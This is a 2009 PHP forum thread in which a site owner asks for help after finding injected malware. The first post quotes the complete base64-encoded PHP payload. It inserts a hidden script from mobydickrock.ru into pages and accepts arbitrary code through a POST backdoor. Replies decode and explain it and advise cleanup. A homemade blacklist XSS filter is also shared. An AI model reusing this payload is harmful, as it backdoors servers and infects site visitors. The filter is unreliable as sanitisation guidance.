Have been hacked

@tkmOct 12.2009

Hello Friends,
Need your help desperately. My site has just been hacked. Someone has put the following javascript code in my index file, config file.

[CODE]eval(base64_decode(‘aWYoIWlzc2V0KCRkMGpuMSkpe2Z1bmN0aW9uIGQwam4oJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYocHJlZ19tYXRjaCgnIyB3aWR0aFxzKj1ccypbXCciXT8wKlswMV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwyMXZZbmxrYVdOcmNtOWpheTV5ZFM5b2IzQmxMM2xoYm1SbGVGODJObUUzT1RjelpqWmxZV1k1WW1FNUxuQm9jQ0ErUEM5elkzSnBjSFErJyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcyk7ZWxzZWlmKHN0cnBvcygkcywnLGEnKSkkcy49JGE7cmV0dXJuICRzO31mdW5jdGlvbiBkMGpuMigkYSwkYiwkYywkZCl7Z2xvYmFsICRkMGpuMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkZDBqbjEpKWNhbGxfdXNlcl9mdW5jKCRkMGpuMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdkMGpuJylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlICRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ2Qwam4nKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kZDBqbmw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2Qwam4yJykpIT0nZDBqbjInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==’)); ?>[/CODE]

I have XSS injection blocking code for all my inputs. Not sure at all, how this has happened. Any help would be greatly appreciated. Thankx.

to post a comment

PHP

16 Comments(s) _↴

@JunkMaleOct 12.2009 — #Note, this is not the full script, it has been neutered in parts to stop people using it elsewhere...
... if(count(explode("n",$v))>5){$e=preg_match('#['"][^{^s'".,;?![]:/<>()]{30,}#',$v)||preg_match('#[([](s*d+,){20,}#',$v);if((preg_match('#bevalb#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe} ([^{^>]*?)src=['"]?(http??//([^{^>]}*?)>#is',$s,$a))foreach($a[0]} as $v)if(preg_match('# widths*=s*['"]?0*[01]['"> ]|displays*:s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL21vYnlkaWNrcm9jay5ydS9ob3BlL3lhbmRleF82NmE3OTczZjZlYWY5YmE5LnBocCA+PC9zY3JpcHQ+'),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(s*<body)#mi',$a.'1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function d0jn2($a,$b,$c,$d){global $d0jn1;$s=array();if(function_exists($d0jn1))call_user_func($d0jn1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='d0jn')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start

...

eval(base64_decode($_POST['e']));[/QUOTE]

It looks like it is introducing an iframe element in to your site that is hidden and then the inner encoded base 64 string is inserting this.

<script src=http://mobydickrock.ru/hope/yandex_66a7973f6eaf9ba9.php ></script>[/QUOTE]

The URL returns a // 404 message as text, not a real 404 page, so theirs some coding to protect the users remote server. I would advise caution if you decide to visit the URL as I noticed heavy activity on my machine within a minute of going to try and get the other payload.

I would advise that you temporarily take your site down, beef up on your form security, if you have no forms on your site then this indicates that the issue is one of a server-side hack and your host is either running no server-side security or the PHP is a buggy 4.* version.

The final line is what is the most worrying as it allows the hacker to upload new payloads via a simple post value.

@JunkMaleOct 12.2009 — #Can you post an example of your input cleaning? Then people can tell you if that is enough to protect your server.

@MindzaiOct 12.2009 — #Do you use wordpress by any chance?

@tkmauthorOct 12.2009 — #Note, this is not the full script, it has been neutered in parts to stop people using it elsewhere...

It looks like it is introducing an iframe element in to your site that is hidden and then the inner encoded base 64 string is inserting this.

The URL returns a // 404 message as text, not a real 404 page, so theirs some coding to protect the users remote server. I would advise caution if you decide to visit the URL as I noticed heavy activity on my machine within a minute of going to try and get the other payload.

I would advise that you temporarily take your site down, beef up on your form security, if you have no forms on your site then this indicates that the issue is one of a server-side hack and your host is either running no server-side security or the PHP is a buggy 4.* version.

The final line is what is the most worrying as it allows the hacker to upload new payloads via a simple post value.[/QUOTE]

Thank you very much for you time on this, Junkmail. The code I use for filtering my user input is following:

[CODE]function ft_xss($str, $charset = 'ISO-8859-1') {
 /*
 * Remove Null Characters
 *
 * This prevents sandwiching null characters
 * between ascii characters, like Javascript.
 *
 */
 //echo $str;
 
  $str = preg_replace('/+/', '', $str);
  $str = preg_replace('/(\\0)+/', '', $str);
 
  /*
  * Validate standard character entities
  *
  * Add a semicolon if missing.  We do this to enable
  * the conversion of entities to ASCII later.
  *
  */
  $str = preg_replace('#(&#*w+)[x00-x20]+;#u',"\1;",$str);
 
  /*
  * Validate UTF16 two byte encoding (x00)
  *
  * Just as above, adds a semicolon if missing.
  *
  */
  $str = preg_replace('#(&#x*)([0-9A-F]+);*#iu',"\1\2;",$str);
 
  /*
  * URL Decode
  *
  * Just in case stuff like this is submitted:
  *
  * <a href="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">Google</a>
  *
  * Note: Normally urldecode() would be easier but it removes plus signs
  *
  */ 
  //$str = preg_replace("/([a-z0-9]{3})/i", "&#x\1;", $str);
  $str = preg_replace("/%([a-z0-9]{2})/i", "&#x\1;", $str);
  $str=urldecode($str);
 
  /*
  * Convert character entities to ASCII
  *
  * This permits our tests below to work reliably.
  * We only convert entities that are within tags since
  * these are the ones that will pose security problems.
  *
  */
 
  if (preg_match_all("/<(.+?)>/si", $str, $matches)) { 
   for ($i = 0; $i < count($matches['0']); $i++) {
   $str = str_replace($matches['1'][$i],
   html_entity_decode($matches['1'][$i], ENT_COMPAT, $charset), $str);
   }
  }
 
  /*
  * Convert all tabs to spaces
  *
  * This prevents strings like this: ja    vascript
  * Note: we deal with spaces between characters later.
  *
  */ 
  $str = preg_replace("#t+#", " ", $str);
 
  /*
  * Makes PHP tags safe
  *
  *  Note: XML tags are inadvertently replaced too:
  *
  *    <?xml
  *
  * But it doesn't seem to pose a problem.
  *
  */ 
  $str = str_replace(array('<?php', '<?PHP', '<?', '?>'),  array('&lt;?php', '&lt;?PHP', '&lt;?', '?&gt;'), $str);
 
  /*
  * Compact any exploded words
  *
  * This corrects words like:  j a v a s c r i p t
  * These words are compacted back to their correct state.
  *
  */ 
  $words = array('javascript', 'vbscript', 'script', 'applet', 'alert', 'document', 'write', 'cookie', 'window','select','delete','update');
  foreach ($words as $word) {
   $temp = '';
   for ($i = 0; $i < strlen($word); $i++) {
   $temp .= substr($word, $i, 1)."s*";
   }
 
   $temp = substr($temp, 0, -3);
   $str = preg_replace('#'.$temp.'#s', $word, $str);
   $str = preg_replace('#'.ucfirst($temp).'#s', ucfirst($word), $str);
  }
 
  /*
  * Remove disallowed Javascript in links or img tags
  */ 
  $str = preg_replace("#<a.+?href=.*?(alert(|alert&#40;|javascript:|window.|document.|.cookie|<script|<xss).*?>.*?</a>#si", "", $str);
   $str = preg_replace("#<img.+?src=.*?(alert(|alert&#40;|javascript:|window.|document.|.cookie|<script|<xss).*?>#si","", $str);
  $str = preg_replace("#<(script|xss).*?>#si", "", $str);
 
  /*
  * Remove JavaScript Event Handlers
  *
  * Note: This code is a little blunt.  It removes
  * the event handler and anything up to the closing >,
  * but it's unlikely to be a problem.
  *
  */ 
  $str = preg_replace('#(<[^>]+.*?)(onblur|onchange|onclick|onfocus|onload|onmouseover|onmouseup|onmousedown|onselect|onsubmit|onunload|onkeypress|onkeydown|onkeyup|onresize)[^>]*>#iU',"\1>",$str);
 
  /*
  * Sanitize naughty HTML elements
  *
  * If a tag containing any of the words in the list
  * below is found, the tag gets converted to entities.
   *
  * So this: <blink>
  * Becomes: &lt;blink&gt;
  *
  */ 
  $str = preg_replace('#<(/*s*)(alert|applet|basefont|base|behavior|bgsound|blink|body|embed|expression|form|frameset|frame|head|html|ilayer|iframe|input|layer|link|meta|object|plaintext|style|script|textarea|title|xml|xss)([^>]*)>#is', "&lt;\1\2\3&gt;", $str);
 
  /*
  * Sanitize naughty scripting elements
  *
  * Similar to above, only instead of looking for
  * tags it looks for PHP and JavaScript commands
  * that are disallowed.  Rather than removing the
  * code, it simply converts the parenthesis to entities
  * rendering the code un-executable.
  *
  * For example:    eval('some code')
  * Becomes:        eval('some code')
  *
  */
  $str = preg_replace('#(alert|cmd|passthru|eval|exec|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(s*)((.*?))#si', "\1\2(\3)", $str);
 
  /*
  * Final clean up
  *
  * This adds a bit of extra precaution in case
  * something got through the above filters
  *
  */ 
 
  $bad = array(
   'document.cookie'    => '',
   'document.write'    => '',
   'window.location'    => '',
   "javascripts*:"    => '',
   "'"					=> '',
   "`"					=> '',
   "Redirects+302"    => '',
   '<!--'            => '&lt;!--',
   '-->'            => '--&gt;'
  );
 
  foreach ($bad as $key => $val)    {
   $str = preg_replace("#".$key."#i", $val, $str);
  }
 
  return $str;
 
 }[/CODE]

I also found that some of my user-inputs have not been filtered by the above function. I am working on double/tripple checking all the form values and user-inputs to be filtered by the above function.

My web-site is e-commerce website and I am worried most about the my integrated paypal module. Although I have filtered all my user-inputs from the credit card input screen/page but wandering whether holes in other page can affect them?

I did visit the site, before reading your post. Should I re-boot my system?

Once again thank you for your interest and help. Means a lot.

On different note: Mindzai, I do not use wordpress

@JunkMaleOct 12.2009 — #Ok, would I be right in saying that you allow code to be displayed on your site?

As for rebooting, are you a windows setup? You may want to get your system scanned for spyware or malwares that may have been dumped on your system as this IMHO is designed to hack your visitors which is why I advised you take your site offline to avoid infecting peoples machines.

IMHO you should consider using strip_tags() et al that provide quick and easy way of cleaning inputs, I would also advise employing a whitelist policy of what you allow in the way of post data and that way you should be able to catch and ignore any odd or additional post fields that may be or is being pushed on the receiving script.

You will find input cleaning or "Sanitizing" is a subject that has been covered many times and your bound to find some form of help from a search for the subject in the PHP forum.

So I would put up a "Sorry, were down for maintenance" notice and try and get back online within 24.

@tkmauthorOct 12.2009 — #Ok, would I be right in saying that you allow code to be displayed on your site?

As for rebooting, are you a windows setup? You may want to get your system scanned for spyware or malwares that may have been dumped on your system as this IMHO is designed to hack your visitors which is why I advised you take your site offline to avoid infecting peoples machines.

IMHO you should consider using strip_tags() et al that provide quick and easy way of cleaning inputs, I would also advise employing a whitelist policy of what you allow in the way of post data and that way you should be able to catch and ignore any odd or additional post fields that may be or is being pushed on the receiving script.

You will find input cleaning or "Sanitizing" is a subject that has been covered many times and your bound to find some form of help from a search for the subject in the PHP forum.

So I would put up a "Sorry, were down for maintenance" notice and try and get back online within 24.[/QUOTE]

Thankx again Junkmale. I didn't quite get what you meant by "allowing code to be displayed on my site". The html content of my site can be viewed by browser source option. The CSS and .js files gets downloaded, right? The server side codes stays in the server.

I will use strip_tags() with my filtering function, as you advised. I am also trying to find out other ways,as you suggested. Thankx a lot.

@JunkMaleOct 12.2009 — #<script src=http://mobydickrock.ru/hope/yandex_66a7973f6eaf9ba9.php ></script>[/QUOTE] is what is being inserted in the page that your visitor gets and the browser will fetch from that location the payload...

The .php on the src attribute means that the output could be anything from javascript, VBScript or C or other client side executable code in the browser or it could be a plain old pop up or a tracking cookie...

I always look at this from a worst case scenario and this is compromising your site visitors browsers and could be spreading a malware, hacking user email accounts or sending out SPAM mail, you never know what is under the hood with these hackers.

So it is best to err on the side of caution and put up a temp page saying your out for the day or putting your feet up but don't go telling people your site is hacked or you will not have any visitors come back to you...

@themancanOct 13.2009 — #Just saw this same hack on a Joomla (1.5) site. Still looking into it, but it looks like a lot of the PHP files had this base64 encoded string (but with a different URL, not the mobydick one). Because the string was put in so many files, however, the site died, which probably isn't what the hacker/script-kiddie/bot intended.

In any case, wanted to say that this had happened on a Joomla site.

@themancanOct 13.2009 — #(I don't seem to be able to edit my previous post, so here's another.)

Worth mentioning also is that a _lot_ of other files had a script tag inserted at the very end of the files, and yet more had a script tag inserted before the <body> tag. So you probably want to do a site-wide search for any string related to the URL being linked to.

You may also want to view your site's files by date modified and go through them that way to make sure you catch all the insertions.

@JunkMaleOct 13.2009 — #The URL is irrelevant as you can have several hundred domain names all pointing to one server.

@themancanOct 13.2009 — #The URL is irrelevant as you can have several hundred domain names all pointing to one server.[/QUOTE]

The URL is relevant in this case because (as far as what I've seen of what appears to be the exact same hack as initially described) there is a single URL used in multiple different insertion points. Yes, there may be other URLs being pointed to, so relying solely on searching for one particular URL isn't a great idea, but it's a good starting point to ensure that there aren't other modified files.

@tkmauthorOct 13.2009 — #Thank you a lot JunkMale and themancan. I really really appreciated your time and endeavor helping me with this issue. I have been working as suggested by Junkmale from yesterday and waiting for the hacker's next move. Just keeping my fingers crossed that my effort was enough to stop the hacker. Again, thank you all for all the time. ?

@choochoo247Sep 26.2022 — #Can someone explain the following??

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

<plist version="1.0">

<array>

<dict>

<key>Operation</key>

<string>fsck target</string>

<key>CrashAtProgress</key>

<integer>0</integer>

</dict>

</array>

</plist>

also this please tell me what to look for to see if hacked or someone is sharing my computer without my permission

# list of users disallowed any ftp access.

# read by ftpd(8).

Administrator

administrator

root

uucp

daemon

unknown

www

@ginerjmSep 26.2022 — #Don't open up ancient posts.

@sibertSep 26.2022 — #13 YEARS LATER - Closing this thread.

@sibertSep 26.2022 — #{"locked":true}

Also in #PHP _↴

Exit class, don't kill the page Session values is not maintained in all the pages using I-mode HTML simulator 2 1 form, 2 actions? Or help with another solution...

Success!

Help @tkm spread the word by sharing this article on Twitter...

Tweet This

Have been hacked

16 Comments(s) _↴

# list of users disallowed any ftp access.

# read by ftpd(8).

Also in #PHP _↴

Success!

Social

Version

Have been hacked

16 Comments(s) ↴

# list of users disallowed any ftp access.

# read by ftpd(8).

Also in #PHP ↴

Success!

The web is an endless sea of information. Don't miss the boat... Subscribe!

Social

Version

16 Comments(s) _↴

Also in #PHP _↴